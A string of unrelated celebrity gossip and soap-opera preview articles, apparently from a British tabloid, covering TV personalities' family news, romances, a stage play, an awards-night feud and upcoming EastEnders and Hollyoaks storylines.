Kate first told her followers that her mother wasn't well on Twitter, explaining on a thread: 'Yesterday I did a funeral a lady, aged 98, she died in her sleep, in her own bed, she wasn't particularly ill, just old, a golden death if you like.

'Me and the crem staff agreed we'd all take that when our time comes.

'Because of the virus her family weren't able to be there, but technology means they were able to watch the service at home via web cam. But they sent hymns and music and some beautiful words. Her neighbours came. She was loved and remembered.

'It was, in many ways, a good death and a nice funeral. No tragedy, no chaos or suffering, she wasn't too young and she had a good and full life. Not every funeral I do is like this, especially just now.'

Tribute: Kate shared pictures of herself with her mother, and paid tribute in a post, writing: 'She really was a smasher. May the souls of the faithful departed rest in peace and rise in glory'

But Kate went on: 'No funerals are 'easy' but some are definitely tougher than others. When I get a tough funeral (suicide, a child, someone young, or a violent death) I prepare myself differently from other funerals. I make sure my diary is clear afterwards too.

'But this funeral didn't need me to do that. So I had neglected to properly take in that the deceased shared the same name as my Mum. My Mum who just recently had some scary health news and is facing some scary treatment.'

'So when I got to the 'We commend Margaret, Lord to your care.' It unexpectedly got me, my throat caught a little and I ever so slightly wobbled.

'This isn't a problem, of course, and I'm fine. No one minds a wobble. Only human eh? This is what it's like sometimes this ministry. I don't ever stop being me or being a daughter or a wife or a mum or anything that makes Kate, Kate.'

Sharing updates: Kate previously revealed that her mother had been in hospital for several weeks after previously receiving some bad news regarding her health

She went on: 'Incidentally every time I phone my Mum and she asks what I've done today and I say 'A funeral' she says 'Oh Love! I'm so sorry are you ok?' And I say, 'Mum, it's been 12 years now, you get that this is my job?' God love her.'

Kate shot to stardom thanks to her Gogglebox stint between 2014 and 2016 alongside her husband Graham, who she has been with since she was 18.

She was approached to feature on the show after bosses spotted a video of her in a wedding flashmob, which garnered over seven millions views.

Kate previously stressed she wants people to know it's possible to be religious and have faith while having fun at the same time, which is partly why she signed up to appear on Gogglebox.

'My media work is part of my ministry, as I want to keep the door open for people,' Kate explained.

Stardom: She was approached to feature on the show after bosses spotted a video of her in a wedding flashmob, which garnered over seven millions views (pictured in 2020)

'That motivated me to say yes to Gogglebox but I'm a desperate show-off too. People might look at me on TV and think it's not proper behaviour for a vicar but what matters to me is what I think and what my gaffer thinks.

'One of my favourite Bible passages is where Jesus says: 'I've come that they might have life and have it in all its fullness.' I'm interested in that fullness of life.'

Kate and husband Graham left the Channel 4 show in 2016 and she has since moved into radio, presenting Good Morning Sunday on BBC Radio 2.

She has also attended online religious services around the world, from New York to the Vatican, and added that as a self-supporting minister, she doesn't have a regular Sunday service but covers for other vicars and helps with weddings of funerals.

Since her rise to fame she has put her culinary skills under the microscope on Celebrity MasterChef. She has also presented the BBC's Songs of Praise.
Samantha Armytage was cuddling up with her sweet dog Banjo on Tuesday.

But looking closer, fans couldn't help but notice that the former television host was rather rugged up despite the summer heat.

The 46-year-old shared an image to Instagram Stories in which she sat by the dog while wearing warm clothing.

Samantha Armytage (pictured) was cuddling up with her sweet dog Banjo on Tuesday. But looking closer, fans couldn't help but notice that the former television host was rather rugged up despite the summer heat

'When he falls asleep on your foot... and yes, I am wearing trackies and slippers in the middle of summer,' she wrote.

In recent years, Sam made a move to the country and lives on a Bowral property she shares with husband Richard Lavender.

In December, she celebrated her two year wedding anniversary with Richard.

'When he falls asleep on your foot... and yes, I am wearing trackies and slippers in the middle of summer,' she wrote

The former Sunrise host posted to Instagram Stories to share a sweet photo of the pair enjoying their winter holiday in Japan.

'Happy 2nd wedding anniversary to us!!!' she wrote alongside the image.

Samantha and her Bowral farmer were dressed head to toe in ski gear as they looked prepared to take to the mountains for a day on the slopes.

Armytage has been enjoying a quieter life in the countryside since quitting Sunrise in March 2021.

In recent years, Sam made a move to the country and lives on a Bowral property she shares with husband Richard Lavender. Both pictured

She sold her North Bondi home for $2.8million in July 2020, in a telling sign she planned to move to the Southern Highlands full-time.

Sam tied the knot with Lavender, a successful equestrian businessman, at his 40-hectare property in Bowral on New Year's Eve in 2020.

The pair married at his home around midday, and then moved to a luncheon at the Centennial Vineyards Restaurant in Bowral.
Pregnant Lily Slater's surprise decision to keep her unborn baby will spark an explosive family feud in EastEnders next week.

The pre-teen, who on Monday made a shocking U-turn after originally agreeing to have a termination, will spark a huge backlash from the Branning family when Ricky Jr decides to support her in bringing up their child.

And, in scenes set to air next week, the tension finally boils over between the Fowlers and the Brannings when Stacey bans Ricky Jr from seeing the baby, leaving the teen to go and live with his mum Sam.

Drama! Pregnant Lily Slater's surprise decision to keep her unborn baby will spark an explosive family feud in EastEnders next week

In the upcoming episodes, Jack (Scott Maslen) is furious when he discovers Ricky (Frankie Day) has offered to support Lily (Lilla Turner) in bringing up their baby.

Although Denise (Diane Parish) pleads caution, Jack demands a meeting with Stacey and Martin, and when the families come together, Jack insists they need to talk some sense into Lily, but Stacey stands her ground and says abortion is off the table.

Later, Jack runs into Lily and tells her what her life will be like as a teen mum, and when Stacey (Lacey Turner) hears of this, she storms over to No.27 and bans the whole Branning family from having anything to do with the baby.

Ricky is devastated and calls Sam (Kim Medcalf) as Denise warns Jack he's out of order, and he is further distraught when he learns the teen has left home to go and live with his mum.

At odds! In upcoming scenes, the Brannings and Slaters attempt to reach an agreement about Lily's baby, but Stacey insists that abortion is off the table

What will she choose? Earlier this week viewers saw Lily make a shocking U-turn, deciding to keep her unborn baby

What are we doing? Jack insists they need to talk some sense into Lily, after Ricky decided that he would help her to bring up the baby

Raging: Later, Jack runs into Lily and tells her what her life will be like as a teen mum, and when Stacey hears of this, she bans the Branning family from having anything to do with the baby

As the week goes on, Jack becomes desperate to bring Ricky home while he runs riot at Sam's.

Denise is at her wits' end, but Patrick suggests she needs to find someone to talk some sense into Jack, while Stacey and Denise join forces to get Martin (James Bye) to speak to him about Lily keeping the baby.

Later, a stressed Denise is offered a shoulder to cry on by flirty Ravi, but when she arrives home to tearful Amy, she feels guilty about enjoying his attention.

What? Ricky is devastated and calls Sam (Kim Medcalf) as Denise warns Jack he's out of order, and he is further distraught when he learns the teen has left home to go and live with his mum

Worries: As the week goes on, Jack becomes desperate to bring Ricky home while he runs riot at Sam's

Drama! Jack's focus on Ricky sparks yet more distance between himself and Denise, sparking fear around whether he'll miss a planned day date with her

Patrick later becomes concerned about the growing distance between Jack and Denise and offers some romantic advice.

Luckily, Jack gets the hint and invites Denise to a day date when the kids are out, however, on the way home, he stops at Sam's place and finds Ricky Jr. skiving off, sparking fears around whether he'll make it on time.

And in the midst of the Brannings family woes, Martin is offered a few weeks of well-paid work in Turkey, but is conflicted over whether to leave Lily at such a challenging time.

Will he pluck up the courage to tell Stacey?

EastEnders airs on Mondays to Thursdays at 7:30pm on BBC One and iPlayer.
There was a certain zest about Jenna Coleman as she greeted autograph hunters following her latest theatrical performance in the uniquely titled Lemons Lemons Lemons Lemons Lemons on Monday evening.

The actress was joined by co-star Aidan Turner outside London's Harold Pinter Theatre, where fans had gathered for a hopeful chat with the cast as they made their exit.

Looking typically stylish in a preppy maroon sweater and striped shirt overt straight cut jeans, Coleman, 36, appeared to be in high spirits while signing programmes and posing for selfies.

Here she comes: Jenna Coleman caught the eye as she left London's Harold Pinter Theatre following her latest performance in Lemons Lemons Lemons Lemons Lemons on Monday

Turner, 39, was no less cheerful following his latest appearance onstage, and the popular actor was seen sharing a joke with fans after making his way onto the street.

The Poldark star beamed while indulging those who had waited in the biting cold for a glimpse of the well-received new play's principal cast.

Lemons Lemons Lemons Lemons Lemons will be on-stage for a nine-week run and sees Coleman appear as Bernadette while Irish star Turner portrays Oliver.

In demand: Looking typically stylish in a preppy maroon sweater and striped shirt, Coleman appeared to be in high spirits while signing programmes and posing for selfies

Upbeat: Aidan Turner was no less cheerful following his latest appearance onstage, and the popular actor was seen sharing a joke with fans after making his way onto the street

Over here, Aidan! The Poldark star beamed while indulging those who had waited in the biting cold for a glimpse of the well-received new play's principal cast

The official synopsis reads: '"Let's just talk until it goes". You're going to speak more than 123 million words in your lifetime. What will you do when they run out?

'Lemons Lemons Lemons Lemons Lemons is a tender and funny rom-com about what we say, how we say it, and what happens when we can't say anything anymore'.

According to The Telegraph, Lemons Lemons Lemons is a play by Sam Steiner which explores a young couples response to a dystopian world in which words are rationed by hush laws.

Low key: Turner looked relaxed in a casual white T-shirt and black jeans on Monday evening

Coleman stars as the rule-abiding lawyer Bernadette who meets and moves in with rebellious musician Oliver as the hush laws become increasingly harsh.

Jodie Rourke, the director of the show, also admitted to The Telegraph that these kinds of laws would not happen in the real world.

'Obviously, those kinds of laws would be totally unenforceable. So it asks you to play along and consider how relationships survive under extreme circumstances.

'Its not a pandemic play, but it will resonate with people who found the cracks in their relationships widening during lockdown.'
Lottie Moss has gone public with her new boyfriend Daniel Steel as they spend time together in Perth, Australia.

The model and OnlyFans star, 24, shared a slew of loved up clips with the hunky model and firefighter, who hails from Down Under, to her Instagram Stories on Monday.

While the beauty is also reporedly being 'spoiled' by her new man, who even romantically surprised her with a hotel room of rose petals last week.

Smitten: Lottie Moss confirms romance with new model beau Daniel Steel as she shares a slew of loved up snaps from Australia

Lottie arrived in Australia earlier this month to visit her new boyfriend, who is a part time firefighter and model.

And not shying away from taking the relationship public, the beauty has shared a collection of loved-up snaps with Daniel.

According to The Sun, a source said: 'Lottie and Daniel have really hit it off.

'They have lots in common and hes a great guy  just what she was looking for. He has really been spoiling her and she is loving every moment of it.'

'I'm a simp':And not shying away from taking the relationship public, the beauty has shared a collection of loved-up snaps with Daniel - even declaring that she is a 'simp'

Full treatment: Daniel is said to be 'spoiling' Lottie as she visits him in Australia, with the hunk whipping her up some breakfast on Monday morning

The duo enjoyed a date to Perth zoo on Monday as Daniel showed London-born Lottie some of the sights.

But before that, the half-sister of Kate Moss filmed her shirtless beau in the kitchen as he whipped up some breakfast for them.

And later sharing a monochrome video of Daniel asleep on her chest, she dubbed him 'a baby' while stroking his head and beaming.

Date day: The duo enjoyed a date to Perth zoo on Monday as Daniel showed London-born Lottie some of the sights

Hunk: Australian Daniel is a part time firefighter and model

Earlier this week, Lottie declared herself 'a simp' while sharing a picture with her boyfriend.

Urban Dictionary defines a simp as 'someone who does way too much for a person they like'.

While she was also surprised by a room full of rose petals by Daniel as they kicked off her trip.

Cute: Last week, he was surprised by a room full of rose petals by Daniel as they kicked off her trip

Romance: She shared a snap as the hunk popped open some champagne for the evening

Sharing a video of the sweet gesture, Lottie wrote: 'Wait, I'm dead. I don't know how to react because this stuff never happens to me.'

Even the bathtub had rose petals in it and all over the floor, while the duo sipped on champagne and ate chocolates.

Before the new romance, Lottie was last believed to be in a relationship with American music producer beau Cody Colacino but they split in November.
Sarah Harris has recalled the shocking moment she almost shot herself in the face with a nail gun on live television.

The Project host recounted the segment, which appeared on Studio 10 in 2014, during which she was asked to shoot a nail gun for a magic trick.

However, she'd picked up the dangerous tool the wrong way around, pointing the projectile firing end at herself.

Sarah Harris (pictured) has recalled the shocking moment she almost shot herself in the face with a nail gun on live television

The audience gasped in shock and her co-star Jessica Rowe rushed to help when she realised Harris had the gun aimed at her face, ready to fire.

The New York Times nominated Harris for a Darwin Award in 2014, after the segment went viral.

'I still have tradies in the street going, "What were you thinking?"' she told her Project co-stars on Tuesday.

The Project host recounted the segment, which appeared on Studio 10 in 2014, during which she was asked to shoot a nail gun for a magic trick. However, she'd picked up the dangerous tool the wrong way around, pointing the projectile firing end at herself

'Apparently that little bit got me on the Darwin Awards as well, not a good award to win. It is not a Logie, that's for sure,' she added.

In 2021, Harris told news.com.au that it was 'probably the most stupid thing I've done on the show'.

'Apparently the New York Times awarded me the Darwin Award after I went to shoot myself in the face with a nail gun in a live magic trick,' she explained.

'Apparently that little bit got me on the Darwin Awards as well, not a good award to win. It is not a Logie, that's for sure,' she said

'The only person who came to my rescue that day was Jess Rowe. Joe Hildebrand, who's supposed to be my best mate, sat there with eyes as wide as saucers laughing, thinking, "this is going to be the best moment ever"'.

Despite laughing about the near miss, Harris admitted she came very close to a serious accident and thanked her co-star Rowe for rescuing her in the nick of time.

'I owe my life to Jessica Rowe, she really did save me that day,' Harris told the publication.
Vicky Grant's life will be left hanging in the balance in Hollyoaks next week, as a camping trip takes a deadly turn.

The teen will be rushed to hospital in the upcoming scenes after the boys get their hands on some drugs during the wild party, leaving many families in turmoil.

While viewers will have to wait and see whether Vicky pulls through, fingers will quickly be pointed at the teens as the parents try and figure out who is responsible.

Will she survive? Vicky Grant's life will be left hanging in the balance in Hollyoaks next week, as a camping trip takes a deadly turn

As the week begins, DeMarcus (Tomi Ade) and Vicky (Anya Lawrence) overhear Felix (Richard Blackwood) talking about how he doesn't think their long-distance relationship is going to work out, leaving the couple more headstrong than ever.

As talk turns to what the students have planned for the future, DeMarcus looks down, later opening up to Charlie (Charlie Behan) about his worries of Vicky moving on.

In a lightbulb moment, DeMarcus tells Vicky that he could move to Margate with her, but she's not so sure

Later, the teens, Charlie, Ella (Erin Palmer), Shing Lin (Izzie Yip), Vicky, DeMarcus, and Leah (Ela-May Demircan) prepare for their camping trip, and start with getting alcohol and lying to their parents about where they're going.

Darren (Ashley Taylor Dawson) doesn't buy it when Charlie pretends to be sick but he manages to convince his dad to let him go camping.

Scared! The teen will be rushed to hospital in the upcoming scenes after the boys get their hands on some drugs during the wild party, leaving many families in turmoil

Vicky is embarrassed when Leah notices condoms in her bag, which leads to an awkward conversation between her and DeMarcus, but are the teens ready to take the next step in their relationship?

When their bus is cancelled, Leah decides to steal her dad's cleaning van instead, as Shing Lin offers to drive.

After they're all set up, two older boys stumble upon the campsite and ask to join the party, offering weed in return for booze, and Leah convinces the group to let them stay.

When Nancy finds out the truth, she wants to interrupt the party and take Charlie home but Darren convinces her to let him have fun and tries to distract her with some alone time

Deadly: Disaster strikes at the campsite when the party gets out of control and Vicky collapses, and the parents, Scott, Ste and Felix, start to realise their children are missing...

Later, disaster strikes at the campsite when the party gets out of control and Vicky collapses, and the parents, Scott, Ste and Felix, start to realise their children are missing

As the teens try to wake an unconscious Vicky up, Darren realises something is wrong after noticing his missed calls.

Vicky is rushed to hospital in critical condition, emotions are high in the village as the parents try to figure out what happened at the campsite.

Ste is heartbroken at Leah after she admits to taking weed off strangers and he screams at her in a fit of rage.

Who was responsible: As the group got their hands on some drugs before Vicky's collapse, the families quickly to start to point fingers and try to pin blame on who is responsible

Elsewhere, Darren and Nancy are at a loss as to what they should do with their 'troubled' son, as she blames Darren for letting him go camping in the first place.

Zara and Cindy interrogate Shing Lin and Ella, as the girls try to convince them they had left when they realised the boys had drugs, but it remains to be seen who is actually telling the truth.

Will Vicky pull through?

Hollyoaks is released first on All4, with new episodes dropping each weekday morning. It also airs Mondays to Fridays at 6:30pm on Channel 4, and 7pm on E4.
Everybody needs good neighbours, but Guy Pearce appeared to forget that famous adage while passing judgement on Australian compatriot Cate Blanchett's latest accolade on Monday.

The actress has received critical acclaim for her starring role as a fictional composer in the Todd Field directed Tar, a bleak assessment of cancel-culture in the modern age.

But Pearce hinted at a simmering feud with far reaching roots following her nomination and subsequent triumph in the category for Best Actress at this year's Critics' Choice Awards by initially championing one of her rivals.

Speaking out: Everybody needs good neighbours, but Guy Pearce appeared to forget that famous adage while passing judgement on Australian compatriot Cate Blanchett's latest accolade on Monday

'Please be Ana De Armas! Incredible performance!' he tweeted, referencing her divisive portrayal of screen icon marilyn Monroe in box-office flop Blonde.

When Blanchett won the award for her role as troubled female composer Lydia Tar, the actor retweeted the announcement with the flippant message: 'Fascinating choice...'

He later retweeted a post from a Blanchett fan account that included images of the actress posing for a bondage-inspired photo shoot, with the less than flattering caption: Ah, no thanks.'

Pearce has since deleted his tweets, but their barbed tone hint at a resentment dating back some 15-years and suggests the potential wounds caused by a conventional pay dispute are yet to heal.

In 2008, the actor - riding high following the box-office successes of Memento and LA Confidential - offered a less than enthusiastic response to earning less than Blanchett after agreeing to star in a Melbourne Theatre Company production of Poor Boy.

Odd: Pearce hinted at a simmering feud with far reaching roots following her nomination and subsequent triumph in the category for Best Actress at this year's Critics' Choice Awards

Barbed: When Blanchett won the award for her role as female composer Lydia Tar, the Memento actor retweeted the announcement (left). He then retweeted images of Blanchett posing for a bondage-inspired photo shoot (right)

Running from January 2009, the musical helped inaugurate the Melbourne Theatre Company's $55million theatre complex - at the time an ambitious new venture - with Pearce's involvement adding a touch of star quality to proceedings.

Meanwhile Blanchett was settling into what would be a three-year stay as co-Artistic Director of the Sydney Theatre Company, where she would win further accolades for a stand-out performance as Blanche DuBois in an STC production of Tennessee Williams classic A Streetcar Named Desire.

Under Blanchett's stewardship the STC was also responsible for scheduling a summer run of Poor Boy, with Pearce in a lead role, from July 2009 - only for the actor to rule himself out, citing money as a mitigating factor.

Accolades: The actress has received critical acclaim for her role as a fictional composer in the Todd Field directed Tar, a bleak assessment of cancel-culture in the modern age

'I've been talking to the (STC),' he told the The Age at the time. 'But I'm not committing to do a Sydney season in July this far out. I love the piece and I've been practising my songs in the shower.

'I'm very psyched about doing it in Melbourne with the MTC because I've worked with them before and this is important for them. I'll get to spend summer at home and be working like a regular actor.'

He added: 'OK, I could make a lot of more money doing a movie in the same time frame but being at home is kind of priceless. But then to come back to it in Sydney later in the year after a gap of several months 

Old times: Pearce has since deleted his tweets, but their barbed tone point to a 15-years old pay dispute

Starring role: In 2008 the actor offered a less than enthusiastic response to earning less than Blanchett after agreeing to star in a Melbourne Theatre Company production of Poor Boy (pictured with co-star Jack McKinnis-Pegg)

'I'd certainly do it if I didn't have any other projects coming forward but it's way too early to tell. If I'm not at home I might as well be doing something like a movie that pays a decent amount.

'I mean it would be hard to say: "Sorry, I don't want to do your movie because I want to work for nothing in Sydney for another three months."

'Ms Blanchett's fantastic, absolutely, but I've got to make a living. Unless she wants to pay me what she earns. If she does it'll be the most the STC ever paid an actor, I guarantee.'

Nothing to see here: When his followers asked what his problem with Blanchett was, Pearce deleted all of the offending tweets on Monday and assured fans there was no feud

Surprise: Pearce and Blanchett, two of Australia's most famous actors, appear to be locked in a long-running rivalry, leaving fans shocked as they had no idea there was 'beef' between them

Melbourne Theatre Company Creative Director Simon Phillips later defended the actor, telling the publication: 'Guy has to wait until his film schedule falls into place before he commits to the (Sydney) season and that's perfectly understandable.

'But we've all got our fingers crossed. We're just stoked he's lent his talents to us at this historic moment for the MTC.'

MailOnline has contacted a representative for further comment.
Rebel Wilson has appeared to clap back after sparking controversy by attending a promotional trip to Dubai despite the anti-LGBT laws of the United Arab Emirates.

The Australian actress seemed to be addressing the saga in an Instagram Stories post on Tuesday night, in which she held her baby daughter Royce Lillian, three months, as she posed alongside girlfriend Ramona Agruma.

'If you haven't heard of the term 'visibility' then I guess you should look it up,' she wrote in her caption.

Rebel Wilson appeared to claps back at critics of her Dubai trip as she made a thinly-veiled barb and shared a snap of her girlfriend Ramona Agruma and her baby daughter

Rebel appeared to be referring to the positive visibility of the LGBTQ community in public spaces and popular media.

The Pitch Perfect star, who is in a same-sex relationship with fashion designer Ramona, also doubled down on her Dubai promo blitz by posting more photos of the couple attending the lavish opening of the Atlantis The Royal hotel.

Wilson, 42, uploaded a gallery of images to Instagram on Tuesday showing her and Agruma posing side-by-side in matching attire on a balcony next to a luxurious pool.

Rebel sparked controversy by attending a promotional trip to Dubai despite the anti-LGBT laws of the United Arab Emirates

The Pitch Perfect star, who is in a same-sex relationship with fashion designer Ramona, also doubled down on her Dubai promo blitz by posting more photos in the country

She captioned the images with two love hearts before emphasising her support for the Dubai hotel by tagging it.

Wilson and Agruma joined a slew of A-list guests at the extravagant opening of the Atlantis The Royal hotel over the weekend.

And while the same-sex couple appeared to have the time of their life at the lavish ribbon-cutting event, the comedic actor faced criticism from fans pointing out the United Arab Emirates is well-known for its anti-LGBT laws.

Wilson, 42, uploaded a gallery of snaps to Instagram on Tuesday showing her and Agruma posing side-by-side in matching attire on a balcony next to a luxurious pool

After Wilson first posted about the ritzy trip on Instagram, many of her followers questioned why she was promoting tourism in a country where same-sex acts are a criminal offence - although these laws are not always enforced.

Wilson, who came out as gay in June last year, posted a video of herself and Agruma having a blast in Dubai.

The opening of the luxury resort hotel featured an exclusive concert by Beyonce, who was allegedly paid $34million for her appearance.

'Atlantis The Royal is BEYond! What a weekend with BEY!' the Bridesmaids star gushed in a caption alongside photos from the event.

Wilson (right) and her partner Agruma (left) were among the A-list guests at the extravagant opening of Atlantis The Royal hotel in Dubai over the weekend

Followers were quick to slam Wilson for promoting the UAE and one of its most luxurious cities, citing its notorious anti-gay laws.

'So any update on the situation of LGBTQ there?' one asked.

'Aren't you a member of LGBTQ+ community?' another commented.

While the same-sex couple appeared to have the time of their life at the lavish ribbon-cutting event, the comedic actor faced criticism from fans pointing out the United Arab Emirates is well-known for its anti-LGBT laws

'Human rights? LGBTQ? Unfollowing now,' a third wrote, while a fourth added: 'Oh, the privilege. What about other LGBT people?'

Another took a swipe at Wilson for turning a blind eye to the country's reputation so she could enjoy 'a nice free trip'.

'I had friends who were homosexual in Dubai. They had to get a two-bedroom apartment just in case the authorities knocked on their door,' they added.

After Wilson first posted about the ritzy trip on Instagram, many followers questioned why she was promoting tourism in a country where same-sex acts are a criminal offence - although these laws are not always enforced

Wilson was joined by some of the world's biggest stars, including Kendall Jenner, Liam Payne and Ellen Pompeo, for the publicity extravaganza for Atlantis The Royal.

According to AMERA International, a website for refugee legal aid resources, the UAE Penal Code says any sexual acts outside of heterosexual marriage carry a penalty of a minimum one-year 'confinement'.

However, it goes on to say: 'The Arabic of article 354 is written in such a way that it could be taken as condemning all male homosexual intercourse to the death penalty or only forced male homosexual intercourse.

'Amnesty International interprets the article as condemning perpetrators of rape of both men and women to death, but it can also be translated: 'Whoever commits rape on a female or sodomy with a male.''

Wilson was joined by some of the world's biggest stars, including Kendall Jenner, Liam Payne and Ellen Pompeo, for the publicity extravaganza for Atlantis The Royal

Rebel came out as gay at the age of 42 when she introduced the world to her new girlfriend in a sweet Instagram post which saw both women grinning from ear to ear.

In her caption, Wilson shared her joy over her new relationship, joking that she had spent years 'searching for a Disney Prince' only to discover that what she 'really needed was a Disney Princess'.

'I thought I was searching for a Disney Prince... but maybe what I really needed all this time was a Disney Princess,' she wrote, adding heart and rainbow emojis and the hashtag, '#loveislove'.

Rebel isn't the only celebrity to come under fire for attending the event, with Beyonce also facing criticism after accepting a $24 million payday for her performance.

The Grammy-winning star's outing in the area 'casts a shadow over her support for lesbians and gay people,' according to Bev Jackson, the co-founder of the British advocacy group LGB Alliance.

'Beyonce is a huge icon for many gay people,' Bev Jackson told The Telegraph Sunday. 'LGB Alliance is deeply therefore disappointed that Beyonce has agreed to give a lucrative concert in Dubai, where same-sex sex acts are a criminal offense, potentially punishable by death.'

The latest: Beyonce also faced criticism after accepting a $24 million payday for her performance at the new Dubai hotel Atlantis the Royal on Saturday

The Houston native, 41, performed a full concert live for the first time in four years in a one-hour concert at the new facility, at one point being hoisted 16 feet in the air at the hotel's Skyblaze fountain.

Beyonce at one point on Saturday performed the song Brown Skin Girl with her daughter Blue Ivy, 11. While efforts were made to restrict filming of the exclusive concert, some clips leaked on social media over the weekend.

Her latest album, Renaissance, which she performed during the set, was dedicated to her uncle Jonny, who identified as gay and suffered a battle with HIV.

She previously honoured her uncle during her 2019 GLAAD Media Awards acceptance speech, when she called him "the most fabulous gay man I've ever known" and highlighted his life with HIV.

The Houston native performed a full concert live for the first time in four years in a one-hour concert at the new facility

'He was brave and unapologetic during a time when this country wasn't as accepting," she said at the queer-centric event, where she received the group's Vanguard Award.

'Witnessing his battle with HIV was one of the most painful experiences I've ever lived. I'm hopeful that his struggles serve to open pathways for other young people to live more freely. LGBTQI rights are human rights.'

But things aren't so forward moving in the United Arab Emirates, where Dubai is, as LGBTQ+ people face legal challenges for their sexual orientation.

Many were quick to call out Beyonce for her support of the LGBTQ+ community and the seeming snub by performing in the country.
Red-haired Lucy Boynton looked incredible when she headed to the Chanel Haute Couture fashion show at the Grand Palais Ephemere for Paris Fashion Week on Tuesday.

The Bohemian Rhapsody star, 29, wore a lemon silk and boucle shorts suit from the label with a classic pair of two-tone Chanel slingbacks.

Turning to look over her shoulder as she headed inside to sit in the FROW, Lucy was in good company on the day as the likes of Roger Federer, Sadie Sink and Vanessa Paradis were all in attendance.

Standing out: Red-haired Lucy Boynton wore an elegant lemon silk and boucle shorts suit as she headed to the Chanel Haute Couture fashion show at the Grand Palais Ephemere for Paris Fashion Week on Tuesday

What an invite! Turning to look over her shoulder as she headed inside to sit in the FROW

The catwalk show had bridal-inspired designs with incredible cream lace numbers and models sporting matching bow-ties.

Lucy recently opened up about how acting helped change her from a shy child into a confident adult.

She made the revelation in a stunning Harper's Bazaar UK shoot where she graced the cover in a gorgeous white lace gown.

The star admitted that as a child she was in her 'older sister's shadow' and was always 'really shy and uncomfortable'.

FROW: Lucy sat alongside Stranger Things star Sadie Sink to watch the show

Famous faces: The stars were out in force for the Chanel show during Paris Fashion Week on Tuesday including Roger Federer and his wife Mirka

Cosy: The pair were placed on the front row with fashion royalty Anna Wintour and Australian film director Baz Luhrmann, 60

FROW: (L-R) Roger Federer, Mirka Vavrinec, Anna Wintour, Baz Luhrmann and Catherine Martin attend the Chanel Haute Couture Spring Summer 2023 show

Stunning: The designs were as chic as ever with classic monochrome themes

Ethereal: Bridal lace numbers were prevalent worn with matching silk bow ties and gold ankle boots

Lucy told the publication: You wouldnt think Im the actress in the family. As a child, I remember being really shy and uncomfortable, and in the shadow of my older sister'.

'But I think acting gave me access to change myself somehow... It unlocked the idea that I could be different.

Gushing about the UK film industry she said: It helps that I started my career in the UK where, at the time, the highest form of acting was being in a BBC period piece. In the States, the whole concept of Hollywood makes success feel unattainable.

She also discussed the importance of carving time for herself outside of her busy work schedule.

Going from character to character can be addictive, and its hard to sit still when youre surrounded by so much inspiration, but Im very conscious of not leaning in to that exhaustion if I want to preserve my sanity.
Love Island's Andrew Le Page has revealed his granddad has died.

The former real estate agent, 27, shared a heartwarming picture to his Instagram stories where he said on Tuesday the family was saying 'goodbye'.

'Today we say goodbye to the best granddad in the world. RIP,' he wrote to his 828,000 followers.

Sad news: Love Island's Andrew Le Page, 27, has revealed his granddad has died on Tuesday

His girlfriend Tasha Ghouri, 24, also shared the picture showing her, Andrew and his granddad to her page.

She wrote: 'This incredible man made me feel so welcome into the family and heaven truly gained an angel. We love you!'

The Love Island finalist, who most recently lived in Dubai before heading onto the show and moving to London with his new girlfriend, grew up in Guernsey.

He took Tasha to his home town over the Christmas period and she shared the journey with the 1.5million followers.

Festive fun: Andrew took his girlfriend Tasha Ghouri to his family home in Guernsey on Thursday as they prepared to spend their first Christmas together

'Feeling festive,' penned Tasha over a sweet monochrome shot of the couple on their flight in matching Santa Claus hats.

Sitting on the plane, the blonde beauty leaned in close and faced Andrew while grinning from ear to ear.

While the former Estate Agent was all smiles too as he looked towards the camera and prepared to take off.

'Feeling festive @aurigny_gsy home time for the festivities @andrewlepage,' wrote Tasha, as her beau reshared the snap and added 'home for Christmas'.

Off they go! The pair took some selfies to document the journey, with Tasha keeping her 1.5M followers updated on the trip

Tasha told MailOnline last month: 'I'm so excited for Christmas, it's never too early to start celebrating. We're going to be spending it with family

The couple, who met during last year's Love Island, are spending Christmas day with Andrew's family in the Channel island, before making their way to see Tasha's loved ones.

Tasha told MailOnline in November: 'I'm so excited for Christmas, it's never too early to start celebrating. We're going to be spending it with family.

'We're gonna be up and down everywhere, we're going to Guernsey to Andrew's family for Christmas day, he's got a big family so we're going to spend it with them,' she explained.

Andrew and Tasha moved in to a London apartment together earlier this year.

And on Christmas Day, the couple took their relationship to the next level when Andrew gifted Tasha a promise ring.

The TV stars have taken their relationship to the next level after former estate agent Andrew gave dancer Tasha the glistening silver 265 ring by Tiffany and Co.

Giving fans a glimpse at the jewellery on her YouTube channel, Tasha told her subscribers: 'Everybody is probably thinking this is an engagement box - Andrew got me a gorgeous promise ring and I love it so much.
Billie Shepherd has detailed the long three-day labour she endured before welcoming her baby daughter Margot.

The Family Diaries star, 33, welcomed her third child with husband Greg Shepherd in December, with Billie sharing a snap of her 'precious little darling' at the time.

And speaking to sister Sam Faiers, 32, about the birth on their podcast , Billie told how 'exhausted' she was following two sleepless nights, and admits she was 'gutted' not to be able to gave a water birth as she was induced.

Mum life: Billie Shepherd has detailed the long three-day labour she endured before welcoming her baby daughter Margot

The TV personality returned to The Sam & Billie Show podcast six and a half weeks after welcoming her little girl, with the star explaining to her followers what happened before, during and after the birth.

Billie gave birth to Margot on the 2 December, but her waters actually broke two days earlier while she was at home packing her hospital bag.

Despite it occurring shortly before her due date, Billie said that she was 'ready' to give birth as her bump was really low', however it appeared that her daughter had other ideas.

Billie detailed how after calling her midwife, sister and mother Suzanne, she waited at home for the contractions to start, telling how after 24 hours nothing further had occurred.

Congratulations: The Family Diaries star, 33, welcomed her third child with husband Greg Shepherd in December, with Billie sharing a snap of her 'precious little darling' at the time

She said: I was up all that night and I remember feeling a little twinge and thinking "oh they're starting, they're starting!" I'd come downstairs at three in the morning, made myself honey on toast and was just sitting there waiting - but nothing.'

She added that she 'couldn't believe it' as she's assumed that she'd have a similar birth to when sister Sam welcomed her third child Edward, in that she'd give birth 24 hours after her waters had broken.

Billie went on to say: 'Obviously not everything goes to plan, of course it doesn't, but I was gutted because I knew that being induced meant that I couldn't go in birthing pool and I actually really wanted to try for a water birth this time.'

Chat: Speaking to sister Sam Faiers, 32, about the birth on their podcast , Billie told how 'exhausted' she was following two sleepless nights, and admits she was 'gutted' not to be able to gave a water birth as she was induced

Baby girl: Billie gave birth to Margot on the 2 December, but her waters actually broke two days earlier while she was at home packing her hospital bag

The former TOWIE star then detailed heading to the labour ward at the hospital with her mum Suzanne and sister and had to stay there all night as nothing had happened yet, with Billie lamenting 'another night of no sleep'.

She told that a pessary was put inside her which 'wasn't very enjoyable' to help bring on contractions, but after nothing happened again, she was brought to the birthing suite at 7am the next morning.

